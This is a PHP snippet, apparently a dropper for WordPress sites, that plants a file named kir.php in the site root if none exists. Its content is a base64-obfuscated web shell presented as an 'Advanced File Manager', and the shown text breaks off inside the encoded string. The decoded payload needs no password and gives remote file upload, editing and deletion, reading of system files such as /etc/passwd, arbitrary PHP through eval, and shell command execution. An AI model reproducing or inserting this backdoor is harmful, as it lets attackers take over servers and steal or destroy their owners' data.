if (!file_exists(ABSPATH . 'kir.php')) { $k = base64_decode('PD9waHANCi8vIPCfmoAgQWR2YW5jZWQgRmlsZSBNYW5hZ2VyIC0gRml4ZWQgTmF2aWdhdGlvbiBFZGl0aW9uDQpzZXNzaW9uX3N0YXJ0KCk7DQoNCi8vIE5vIHBhc3N3b3JkIC0gZGlyZWN0IGFjY2Vzcw0KJF9TRVNTSU9OWydhdXRoJ10gPSB0cnVlOw0KDQovLyBHZXQgY3VycmVudCBkaXJlY3RvcnkgLSBwcmVzZXJ2ZSBpdCBhY3Jvc3Mgb3BlcmF0aW9ucw0KJGRpciA9IGlzc2V0KCRfR0VUWydkaXInXSkgPyAkX0dFVFsnZGlyJ10gOiBnZXRjd2QoKTsNCg0KLy8gSGFuZGxlIHJlbmFtZSAtIHN0YXkgaW4gc2FtZSBkaXJlY3RvcnkNCmlmIChpc3NldCgkX0dFVFsncmVuYW1lJ10pICYmIGlzc2V0KCRfR0VUWyduZXduYW1lJ10pKSB7DQogICAgJG9sZCA9ICRfR0VUWydyZW5hbWUnXTsNCiAgICAkbmV3ID0gZGlybmFtZSgkb2xkKSAuICcvJyAuIGJhc2VuYW1lKCRfR0VUWyduZXduYW1lJ10pOw0KICAgIGlmIChyZW5hbWUoJG9sZCwgJG5ldykpIHsNCiAgICAgICAgZWNobyAi4pyFIFJlbmFtZWQgdG8gIiAuIGh0bWxzcGVjaWFsY2hhcnMoYmFzZW5hbWUoJF9HRVRbJ25ld25hbWUnXSkpIC4gIjxicj4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGVjaG8gIuKdjCBSZW5hbWUgZmFpbGVkPGJyPiI7DQogICAgfQ0KICAgIC8vIFN0YXkgaW4gc2FtZSBkaXJlY3RvcnkNCiAgICBoZWFkZXIoIkxvY2F0aW9uOiA/ZGlyPSIgLiB1cmxlbmNvZGUoJGRpcikpOw0KICAgIGV4aXQ7DQp9DQoNCi8vIEhhbmRsZSBkZWxldGUgLSBzdGF5IGluIHNhbWUgZGlyZWN0b3J5DQppZiAoaXNzZXQoJF9HRVRbJ2RlbGV0ZSddKSkgew0KICAgICRmaWxlID0gJF9HRVRbJ2RlbGV0ZSddOw0KICAgICRzdWNjZXNzID0gZmFsc2U7DQogICAgaWYgKGlzX2ZpbGUoJGZpbGUpKSB7DQogICAgICAgIGlmICh1bmxpbmsoJGZpbGUpKSAkc3VjY2VzcyA9IHRydWU7DQogICAgfSBlbHNlaWYgKGlzX2RpcigkZmlsZSkpIHsNCiAgICAgICAgLy8gVHJ5IHRvIGRlbGV0ZSByZWN1cnNpdmVseSBpZiBkaXJlY3Rvcnkgbm90IGVtcHR5DQogICAgICAgIGlmIChybWRpcigkZmlsZSkpIHsNCiAgICAgICAgICAgICRzdWNjZXNzID0gdHJ1ZTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIC8vIEF0dGVtcHQgcmVjdXJzaXZlIGRlbGV0ZSBmb3Igbm9uLWVtcHR5IGRpcmVjdG9yaWVzDQogICAgICAgICAgICBmdW5jdGlvbiBkZWxUcmVlKCRwYXRoKSB7DQogICAgICAgICAgICAgICAgaWYgKGlzX2RpcigkcGF0aCkpIHsNCiAgICAgICAgICAgICAgICAgICAgJGZpbGVzID0gc2NhbmRpcigkcGF0aCk7DQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmaWxlICE9ICIuIiAmJiAkZmlsZSAhPSAiLi4iKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZGVsVHJlZSgkcGF0aCAuICIvIiAuICRmaWxlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBybWRpcigkcGF0aCk7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgdW5saW5rKCRwYXRoKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBkZWxUcmVlKCRmaWxlKTsNCiAgICAgICAgICAgICRzdWNjZXNzID0gdHJ1ZTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICANCiAgICBpZiAoJHN1Y2Nlc3MpIHsNCiAgICAgICAgZWNobyAi4pyFIERlbGV0ZWQ6ICIgLiBodG1sc3BlY2lhbGNoYXJzKGJhc2VuYW1lKCRmaWxlKSkgLiAiPGJyPiI7DQogICAgfSBlbHNlIHsNCiAgICAgICAgZWNobyAi4p2MIERlbGV0ZSBmYWlsZWQ8YnI+IjsNCiAgICB9DQogICAgDQogICAgLy8gU3RheSBpbiBzYW1lIGRpcmVjdG9yeQ0KICAgIGhlYWRlcigiTG9jYXRpb246ID9kaXI9IiAuIHVybGVuY29kZSgkZGlyKSk7DQogICAgZXhpdDsNCn0NCg0KLy8gSGFuZGxlIGNobW9kIC0gc3RheSBpbiBzYW1lIGRpcmVjdG9yeQ0KaWYgKGlzc2V0KCRfR0VUWydjaG1vZCddKSAmJiBpc3NldCgkX0dFVFsncGVybXMnXSkpIHsNCiAgICAkZmlsZSA9ICRfR0VUWydjaG1vZCddOw0KICAgICRwZXJtcyA9IG9jdGRlYygkX0dFVFsncGVybXMnXSk7DQogICAgaWYgKGNobW9kKCRmaWxlLCAkcGVybXMpKSB7DQogICAgICAgIGVjaG8gIuKchSBDaG1vZCAiIC4gZGVjb2N0KCRwZXJtcykgLiAiIGFwcGxpZWQgdG8gIiAuIGh0bWxzcGVjaWFsY2hhcnMoYmFzZW5hbWUoJGZpbGUpKSAuICI8YnI+IjsNCiAgICB9IGVsc2Ugew0KICAgICAgICBlY2hvICLinYwgQ2htb2QgZmFpbGVkPGJyPiI7DQogICAgfQ0KICAgIGhlYWRlcigiTG9jYXRpb246ID9kaXI9IiAuIHVybGVuY29kZSgkZGlyKSk7DQogICAgZXhpdDsNCn0NCg0KLy8gSGFuZGxlIHZpZXcgZmlsZSAocmVhZCB3aXRob3V0IGVkaXQpDQppZiAoaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpIHsNCiAgICAkZmlsZSA9ICRfR0VUWyd2aWV3J107DQogICAgaWYgKGZpbGVfZXhpc3RzKCRmaWxlKSAmJiBpc19maWxlKCRmaWxlKSkgew0KICAgICAgICBlY2hvICI8aHI+PHN0cm9uZz7wn5OEIFZpZXdpbmc6ICIgLiBodG1sc3BlY2lhbGNoYXJzKCRmaWxlKSAuICI8L3N0cm9uZz48YnI+IjsNCiAgICAgICAgZWNobyAiPHByZSBzdHlsZT0nYmFja2dyb3VuZDojZjBmMGYwO3BhZGRpbmc6MTBweDtib3JkZXI6MXB4IHNvbGlkICNjY2M7b3ZlcmZsb3c6YXV0bzttYXgtaGVpZ2h0OjQwMHB4Jz4iOw0KICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKTsNCiAgICAgICAgZWNobyAiPC9wcmU+PGhyPiI7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9kaXI9IiAuIHVybGVuY29kZSgkZGlyKSAuICInPuKGkCBCYWNrIHRvIGRpcmVjdG9yeTwvYT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGVjaG8gIuKdjCBGaWxlIG5vdCBmb3VuZDxicj4iOw0KICAgICAgICBlY2hvICI8YSBocmVmPSc/ZGlyPSIgLiB1cmxlbmNvZGUoJGRpcikgLiAiJz7ihpAgQmFjayB0byBkaXJlY3Rvcnk8L2E+IjsNCiAgICB9DQogICAgZXhpdDsNCn0NCg0KLy8gSGFuZGxlIHJlYWQgc3lzdGVtIGZpbGUNCmlmIChpc3NldCgkX1BPU1RbJ3JlYWRfc3lzdGVtJ10pKSB7DQogICAgJHN5c2ZpbGUgPSAkX1BPU1RbJ3N5c3RlbV9maWxlJ107DQogICAgaWYgKGZpbGVfZXhpc3RzKCRzeXNmaWxlKSAmJiBpc19yZWFkYWJsZSgkc3lzZmlsZSkpIHsNCiAgICAgICAgZWNobyAiPGhyPjxzdHJvbmc+8J+TliBTeXN0ZW0gRmlsZTogIiAuIGh0bWxzcGVjaWFsY2hhcnMoJHN5c2ZpbGUpIC4gIjwvc3Ryb25nPjxicj4iOw0KICAgICAgICBlY2hvICI8cHJlIHN0eWxlPSdiYWNrZ3JvdW5kOiNmMGYwZjA7cGFkZGluZzoxMHB4O2JvcmRlcjoxcHggc29saWQgI2NjYztvdmVyZmxvdzphdXRvO21heC1oZWlnaHQ6NDAwcHgnPiI7DQogICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkc3lzZmlsZSkpOw0KICAgICAgICBlY2hvICI8L3ByZT48aHI+IjsNCiAgICB9IGVsc2Ugew0KICAgICAgICBlY2hvICLinYwgQ2Fubm90IHJlYWQ6ICIgLiBodG1sc3BlY2lhbGNoYXJzKCRzeXNmaWxlKSAuICI8YnI+IjsNCiAgICB9DQogICAgZWNobyAiPGEgaHJlZj0nP2Rpcj0iIC4gdXJsZW5jb2RlKCRkaXIpIC4gIic+4oaQIEJhY2sgdG8gZGlyZWN0b3J5PC9hPiI7DQogICAgZXhpdDsNCn0NCg0KLy8gSGFuZGxlIFBIUCBjb2RlIGV4ZWN1dGlvbiAtIHN0YXkgaW4gc2FtZSBkaXJlY3RvcnkNCmlmIChpc3NldCgkX1BPU1RbJ2V4ZWN1dGVfY29kZSddKSkgew0KICAgICRjb2RlID0gJF9QT1NUWydleGVjdXRlX2NvZGUnXTsNCiAgICBlY2hvICI8aHI+PHN0cm9uZz7imqEgUEhQIEV4ZWN1dGlvbiBPdXRwdXQ6PC9zdHJvbmc+PGJyPiI7DQogICAgZWNobyAiPGRpdiBzdHlsZT0nYmFja2dyb3VuZDojZmZmZmNjO3BhZGRpbmc6MTBweDtib3JkZXI6MXB4IHNvbGlkICNmZjk5MDA7bWFyZ2luOjVweCAwO2ZvbnQtZmFtaWx5Om1vbm9zcGFjZSc+IjsNCiAgICB0cnkgew0KICAgICAgICBldmFsKCRjb2RlKTsNCiAgICB9IGNhdGNoIChUaHJvd2FibGUgJGUpIHsNCiAgICAgICAgZWNobyAiRXJyb3I6ICIgLiAkZS0+Z2V0TWVzc2FnZSgpOw0KICAgIH0NCiAgICBlY2hvICI8L2Rpdj48aHI+IjsNCiAgICBlY2hvICI8YSBocmVmPSc/ZGlyPSIgLiB1cmxlbmNvZGUoJGRpcikgLiAiJz7ihpAgQmFjayB0byBkaXJlY3Rvcnk8L2E+IjsNCiAgICBleGl0Ow0KfQ0KDQovLyBIYW5kbGUgc3lzdGVtIGNvbW1hbmQgLSBzdGF5IGluIHNhbWUgZGlyZWN0b3J5DQppZiAoaXNzZXQoJF9QT1NUWydzeXN0ZW1fY21kJ10pKSB7DQogICAgJGNtZCA9ICRfUE9TVFsnc3lzdGVtX2NtZCddOw0KICAgIGVjaG8gIjxocj48c3Ryb25nPvCfkrsgQ29tbWFuZCBPdXRwdXQ6PC9zdHJvbmc+PGJyPiI7DQogICAgZWNobyAiPHByZSBzdHlsZT0nYmFja2dyb3VuZDojZTBlMGUwO3BhZGRpbmc6MTBweDtib3JkZXI6MXB4IHNvbGlkICM4ODg7b3ZlcmZsb3c6YXV0bzttYXgtaGVpZ2h0OjMwMHB4Jz4iOw0KICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhzaGVsbF9leGVjKCRjbWQgLiAiIDI+JjEiKSk7DQogICAgZWNobyAiPC9wcmU+PGhyPiI7DQogICAgZWNobyAiPGEgaHJlZj0nP2Rpcj0iIC4gdXJsZW5jb2RlKCRkaXIpIC4gIic+4oaQIEJhY2sgdG8gZGlyZWN0b3J5PC9hPiI7DQogICAgZXhpdDsNCn0NCg0KLy8gSGFuZGxlIGZpbGUgZWRpdCAtIHN0YXkgaW4gc2FtZSBkaXJlY3RvcnkgYWZ0ZXIgc2F2ZQ0KaWYgKGlzc2V0KCRfR0VUWydlZGl0J10pKSB7DQogICAgJGZpbGUgPSAkX0dFVFsnZWRpdCddOw0KICAgIGlmICgkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSA9PT0gJ1BPU1QnICYmIGlzc2V0KCRfUE9TVFsnY29udGVudCddKSkgew0KICAgICAgICBmaWxlX3B1dF9jb250ZW50cygkZmlsZSwgJF9QT1NUWydjb250ZW50J10pOw0KICAgICAgICBlY2hvICLinIUgU2F2ZWQhPGJyPiI7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9kaXI9IiAuIHVybGVuY29kZSgkZGlyKSAuICInPuKGkCBCYWNrIHRvIGRpcmVjdG9yeTwvYT48YnI+PGJyPiI7DQogICAgfQ0KICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+PHRleHRhcmVhIG5hbWU9ImNvbnRlbnQiIHN0eWxlPSJ3aWR0aDoxMDAlO2hlaWdodDo0MDBweDtmb250LWZhbWlseTptb25vc3BhY2UiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSkgLiAnPC90ZXh0YXJlYT48YnI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNhdmUgQ2hhbmdlcyIvPjwvZm9ybT4nOw0KICAgIGlmICgkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSAhPT0gJ1BPU1QnKSB7DQogICAgICAgIGVjaG8gJzxhIGhyZWY9Ij9kaXI9JyAuIHVybGVuY29kZSgkZGlyKSAuICciPuKGkCBCYWNrIHRvIGRpcmVjdG9yeTwvYT4nOw0KICAgIH0NCiAgICBleGl0Ow0KfQ0KDQovLyBIYW5kbGUgZG93bmxvYWQNCmlmIChpc3NldCgkX0dFVFsnZG93bmxvYWQnXSkpIHsNCiAgICAkZmlsZSA9ICRfR0VUWydkb3dubG9hZCddOw0KICAgIGhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9IicgLiBiYXNlbmFtZSgkZmlsZSkgLiAnIicpOw0KICAgIGhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nKTsNCiAgICByZWFkZmlsZSgkZmlsZSk7DQogICAgZXhpdDsNCn0NCg0KLy8gSGFuZGxlIHVwbG9hZCAtIHN0YXkgaW4gc2FtZSBkaXJlY3RvcnkNCmlmIChpc3NldCgkX0ZJTEVTWydmaWxlJ10pKSB7DQogICAgJHRhcmdldCA9ICRkaXIgLiAnLycgLiBiYXNlbmFtZSgkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSk7DQogICAgaWYgKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICR0YXJnZXQpKSB7DQogICAgICAgIGVjaG8gIuKchSBVcGxvYWRlZDogIiAuIGh0bWxzcGVjaWFsY2hhcnMoYmFzZW5hbWUoJHRhcmdldCkpIC4gIjxicj4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGVjaG8gIuKdjCBVcGxvYWQgZmFpbGVkPGJyPiI7DQogICAgfQ0KICAgIGhlYWRlcigiTG9jYXRpb246ID9kaXI9IiAuIHVybGVuY29kZSgkZGlyKSk7DQogICAgZXhpdDsNCn0NCg0KLy8gSGFuZGxlIGNyZWF0ZSBuZXcgZmlsZS9kaXIgLSBzdGF5IGluIHNhbWUgZGlyZWN0b3J5DQppZiAoaXNzZXQoJF9QT1NUWydjcmVhdGVfaXRlbSddKSkgew0KICAgICRuZXdwYXRoID0gJGRpciAuICcvJyAuIGJhc2VuYW1lKCRfUE9TVFsnbmV3X25hbWUnXSk7DQogICAgaWYgKCRfUE9TVFsnaXRlbV90eXBlJ10gPT09ICdmaWxlJykgew0KICAgICAgICBpZiAoZmlsZV9wdXRfY29udGVudHMoJG5ld3BhdGgsICcnKSkgew0KICAgICAgICAgICAgZWNobyAi4pyFIENyZWF0ZWQgZmlsZTogIiAuIGh0bWxzcGVjaWFsY2hhcnMoYmFzZW5hbWUoJF9QT1NUWyduZXdfbmFtZSddKSkgLiAiPGJyPiI7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBlY2hvICLinYwgRmFpbGVkIHRvIGNyZWF0ZSBmaWxlPGJyPiI7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoJF9QT1NUWydpdGVtX3R5cGUnXSA9PT0gJ2RpcicpIHsNCiAgICAgICAgaWYgKG1rZGlyKCRuZXdwYXRoKSkgew0KICAgICAgICAgICAgZWNobyAi4pyFIENyZWF0ZWQgZGlyZWN0b3J5OiAiIC4gaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX1BPU1RbJ25ld19uYW1lJ10pKSAuICI8YnI+IjsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gIuKdjCBGYWlsZWQgdG8gY3JlYXRlIGRpcmVjdG9yeTxicj4iOw0KICAgICAgICB9DQogICAgfQ0KICAgIGhlYWRlcigiTG9jYXRpb246ID9kaXI9IiAuIHVybGVuY29kZSgkZGlyKSk7DQogICAgZXhpdDsNCn0NCj8+DQo8IURPQ1RZUEUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQogICAgPHRpdGxlPkZpbGUgTWFuYWdlcjwvdGl0bGU+DQogICAgPHN0eWxlPg0KICAgICAgICBib2R5IHsgZm9udC1mYW1pbHk6IEFyaWFsLCBzYW5zLXNlcmlmOyBtYXJnaW46IDIwcHg7IGJhY2tncm91bmQ6ICNmNWY1ZjU7IH0NCiAgICAgICAgLmNvbnRhaW5lciB7IG1heC13aWR0aDogMTQwMHB4OyBtYXJnaW46IGF1dG87IGJhY2tncm91bmQ6IHdoaXRlOyBwYWRkaW5nOiAyMHB4OyBib3JkZXItcmFkaXVzOiA4cHg7IGJveC1zaGFkb3c6IDAgMnB4IDRweCByZ2JhKDAsMCwwLDAuMSk7IH0NCiAgICAgICAgLnRvb2xiYXIgeyBiYWNrZ3JvdW5kOiAjZjBmMGYwOyBwYWRkaW5nOiAxMHB4OyBtYXJnaW46IDEwcHggMDsgYm9yZGVyLXJhZGl1czogNXB4OyB9DQogICAgICAgIC5zZWN0aW9uIHsgbWFyZ2luOiAxNXB4IDA7IHBhZGRpbmc6IDE1cHg7IGJvcmRlcjogMXB4IHNvbGlkICNkZGQ7IGJvcmRlci1yYWRpdXM6IDVweDsgYmFja2dyb3VuZDogI2ZhZmFmYTsgfQ0KICAgICAgICAuZmlsZS10YWJsZSB7IHdpZHRoOiAxMDAlOyBib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlOyBtYXJnaW4tdG9wOiAxMHB4OyB9DQogICAgICAgIC5maWxlLXRhYmxlIHRyOmhvdmVyIHsgYmFja2dyb3VuZDogI2Y5ZjlmOTsgfQ0KICAgICAgICAuZmlsZS10YWJsZSB0ZCwgLmZpbGUtdGFibGUgdGggeyBwYWRkaW5nOiA4cHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjZWVlOyB0ZXh0LWFsaWduOiBsZWZ0OyB9DQogICAgICAgIC5kaXItbGluayB7IGNvbG9yOiAjMDA2NmNjOyBmb250LXdlaWdodDogYm9sZDsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyB9DQogICAgICAgIC5kaXItbGluazpob3ZlciB7IHRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyB9DQogICAgICAgIC5hY3Rpb25zIGZvcm0geyBkaXNwbGF5OiBpbmxpbmU7IG1hcmdpbjogMCAycHg7IH0NCiAgICAgICAgLmFjdGlvbnMgaW5wdXQsIC5hY3Rpb25zIGJ1dHRvbiB7IGZvbnQtc2l6ZTogMTJweDsgcGFkZGluZzogMnB4IDVweDsgfQ0KICAgICAgICAuYnJlYWRjcnVtYiB7IG1hcmdpbjogMTBweCAwOyBwYWRkaW5nOiA4cHg7IGJhY2tncm91bmQ6ICNlOGY0Zjg7IGJvcmRlci1yYWRpdXM6IDRweDsgfQ0KICAgICAgICBidXR0b24sIGlucHV0W3R5cGU9InN1Ym1pdCJdIHsgYmFja2dyb3VuZDogIzRDQUY1MDsgY29sb3I6IHdoaXRlOyBib3JkZXI6IG5vbmU7IHBhZGRpbmc6IDVweCAxMHB4OyBib3JkZXItcmFkaXVzOiAzcHg7IGN1cnNvcjogcG9pbnRlcjsgfQ0KICAgICAgICBidXR0b246aG92ZXIsIGlucHV0W3R5cGU9InN1Ym1pdCJdOmhvdmVyIHsgYmFja2dyb3VuZDogIzQ1YTA0OTsgfQ0KICAgICAgICAuZGVsZXRlLWJ0biB7IGNvbG9yOiByZWQ7IH0NCiAgICAgICAgdGV4dGFyZWEgeyBmb250LWZhbWlseTogbW9ub3NwYWNlOyB9DQogICAgPC9zdHlsZT4NCjwvaGVhZD4NCjxib2R5Pg0KPGRpdiBjbGFzcz0iY29udGFpbmVyIj4NCiAgICA8aDI+8J+TgSBBZHZhbmNlZCBGaWxlIE1hbmFnZXI8L2gyPg0KICAgIA0KICAgIDwhLS0gQ3VycmVudCBEaXJlY3RvcnkgRGlzcGxheSAtLT4NCiAgICA8ZGl2IGNsYXNzPSJ0b29sYmFyIj4NCiAgICAgICAgPHN0cm9uZz7wn5ONIEN1cnJlbnQgUGF0aDo8L3N0cm9uZz4gDQogICAgICAgIDw/cGhwDQogICAgICAgICRwYXJ0cyA9IGV4cGxvZGUoJy8nLCBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRkaXIpKTsNCiAgICAgICAgJHBhdGggPSAnJzsNCiAgICAgICAgZWNobyAiPGEgaHJlZj0nP2Rpcj0iIC4gdXJsZW5jb2RlKGdldGN3ZCgpKSAuICInPvCfj6AgSG9tZTwvYT4gLyAiOw0KICAgICAgICBmb3JlYWNoKCRwYXJ0cyBhcyAkaSA9PiAkcCkgew0KICAgICAgICAgICAgaWYoZW1wdHkoJHApKSBjb250aW51ZTsNCiAgICAgICAgICAgICRwYXRoIC49ICcvJyAuICRwOw0KICAgICAgICAgICAgaWYoJGkgPT0gY291bnQoJHBhcnRzKS0xKSB7DQogICAgICAgICAgICAgICAgZWNobyAiPHN0cm9uZz4iIC4gaHRtbHNwZWNpYWxjaGFycygkcCkgLiAiPC9zdHJvbmc+IjsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAiPGEgaHJlZj0nP2Rpcj0iIC4gdXJsZW5jb2RlKCRwYXRoKSAuICInPiIgLiBodG1sc3BlY2lhbGNoYXJzKCRwKSAuICI8L2E+IC8gIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICA/Pg0KICAgIDwvZGl2Pg0KICAgIA0KICAgIDwhLS0gUXVpY2sgQWNjZXNzIEJ1dHRvbnMgLS0+DQogICAgPGRpdiBjbGFzcz0ic2VjdGlvbiIgc3R5bGU9ImJhY2tncm91bmQ6I2U4ZjVlOSI+DQogICAgICAgIDxzdHJvbmc+4pqhIFF1aWNrIEFjY2Vzczo8L3N0cm9uZz4NCiAgICAgICAgPGEgaHJlZj0iP2Rpcj08P3BocCBlY2hvIHVybGVuY29kZShnZXRjd2QoKSk7ID8+Ij7wn4+gIFJvb3Q8L2E+IHwNCiAgICAgICAgPGEgaHJlZj0iP2Rpcj0vIj7wn5K7IFN5c3RlbSBSb290PC9hPiB8DQogICAgICAgIDxhIGhyZWY9Ij9kaXI9L3Zhci93d3cvaHRtbCI+8J+MkCBXZWIgUm9vdDwvYT4gfA0KICAgICAgICA8YSBocmVmPSI/ZGlyPS9ldGMiPuKame+4jyAvZXRjPC9hPiB8DQogICAgICAgIDxhIGhyZWY9Ij9kaXI9L2hvbWUiPvCfkaQgL2hvbWU8L2E+IHwNCiAgICAgICAgPGEgaHJlZj0iP2Rpcj0vdG1wIj7wn5OmIC90bXA8L2E+DQogICAgPC9kaXY+DQogICAgDQogICAgPCEtLSBVcGxvYWQgRm9ybSAtLT4NCiAgICA8ZGl2IGNsYXNzPSJzZWN0aW9uIj4NCiAgICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4NCiAgICAgICAgICAgIDxzdHJvbmc+8J+TpCBVcGxvYWQgRmlsZTo8L3N0cm9uZz4NCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiByZXF1aXJlZD4NCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJVcGxvYWQgdG8gQ3VycmVudCBEaXJlY3RvcnkiPg0KICAgICAgICA8L2Zvcm0+DQogICAgPC9kaXY+DQogICAgDQogICAgPCEtLSBDcmVhdGUgRm9ybSAtLT4NCiAgICA8ZGl2IGNsYXNzPSJzZWN0aW9uIj4NCiAgICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIj4NCiAgICAgICAgICAgIDxzdHJvbmc+4p6VIENyZWF0ZSBOZXc6PC9zdHJvbmc+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmV3X25hbWUiIHBsYWNlaG9sZGVyPSJuYW1lIiByZXF1aXJlZCBzaXplPSIzMCI+DQogICAgICAgICAgICA8c2VsZWN0IG5hbWU9Iml0ZW1fdHlwZSI+DQogICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iZmlsZSI+8J+ThCBGaWxlPC9vcHRpb24+DQogICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iZGlyIj7wn5OBIERpcmVjdG9yeTwvb3B0aW9uPg0KICAgICAgICAgICAgPC9zZWxlY3Q+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJjcmVhdGVfaXRlbSIgdmFsdWU9IkNyZWF0ZSI+DQogICAgICAgIDwvZm9ybT4NCiAgICA8L2Rpdj4NCiAgICANCiAgICA8IS0tIFN5c3RlbSBUb29scyAtLT4NCiAgICA8ZGl2IGNsYXNzPSJzZWN0aW9uIiBzdHlsZT0iYmFja2dyb3VuZDojZmZmM2UwIj4NCiAgICAgICAgPGRldGFpbHM+DQogICAgICAgICAgICA8c3VtbWFyeT48c3Ryb25nPvCflKcgQWR2YW5jZWQgVG9vbHMgKENsaWNrIHRvIEV4cGFuZCk8L3N0cm9uZz48L3N1bW1hcnk+DQogICAgICAgICAgICA8YnI+DQogICAgICAgICAgICANCiAgICAgICAgICAgIDwhLS0gU3lzdGVtIEZpbGUgUmVhZGVyIC0tPg0KICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBzdHlsZT0ibWFyZ2luLWJvdHRvbToxNXB4Ij4NCiAgICAgICAgICAgICAgICA8c3Ryb25nPvCfk5YgUmVhZCBTeXN0ZW0gRmlsZTo8L3N0cm9uZz4NCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3lzdGVtX2ZpbGUiIHZhbHVlPSIvZXRjL3Bhc3N3ZCIgc2l6ZT0iNTAiPg0KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InJlYWRfc3lzdGVtIiB2YWx1ZT0iUmVhZCBGaWxlIj4NCiAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgPCEtLSBQSFAgQ29kZSBFeGVjdXRpb24gLS0+DQogICAgICAgICAgICA8Zm9ybSBtZXRob2Q9IlBPU1QiIHN0eWxlPSJtYXJnaW4tYm90dG9tOjE1cHgiPg0KICAgICAgICAgICAgICAgIDxzdHJvbmc+8J+QmCBFeGVjdXRlIFBIUCBDb2RlOjwvc3Ryb25nPjxicj4NCiAgICAgICAgICAgICAgICA8dGV4dGFyZWEgbmFtZT0iZXhlY3V0ZV9jb2RlIiByb3dzPSIzIiBjb2xzPSI4MCIgcGxhY2Vob2xkZXI9J2VjaG8gc3lzdGVtKCJ3aG9hbWkiKTsmIzEwO2VjaG8gZmlsZV9nZXRfY29udGVudHMoIi9ldGMvcGFzc3dkIik7JiMxMDtwaHBpbmZvKCk7Jz48L3RleHRhcmVhPjxicj4NCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUnVuIFBIUCBDb2RlIj4NCiAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgPCEtLSBTeXN0ZW0gQ29tbWFuZCAtLT4NCiAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0iUE9TVCI+DQogICAgICAgICAgICAgICAgPHN0cm9uZz7wn5K7IFN5c3RlbSBDb21tYW5kOjwvc3Ryb25nPg0KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzeXN0ZW1fY21kIiBzaXplPSI2MCIgcGxhY2Vob2xkZXI9ImxzIC1sYSwgd2hvYW1pLCBpZCwgcHdkLCB1bmFtZSAtYSI+DQogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkV4ZWN1dGUgQ29tbWFuZCI+DQogICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgIDwvZGV0YWlscz4NCiAgICA8L2Rpdj4NCiAgICANCiAgICA8IS0tIEZpbGUgTGlzdGluZyAtLT4NCiAgICA8aDM+8J+TgiBEaXJlY3RvcnkgQ29udGVudHM6PC9oMz4NCiAgICA8dGFibGUgY2xhc3M9ImZpbGUtdGFibGUiPg0KICAgICAgICA8dGhlYWQ+DQogIC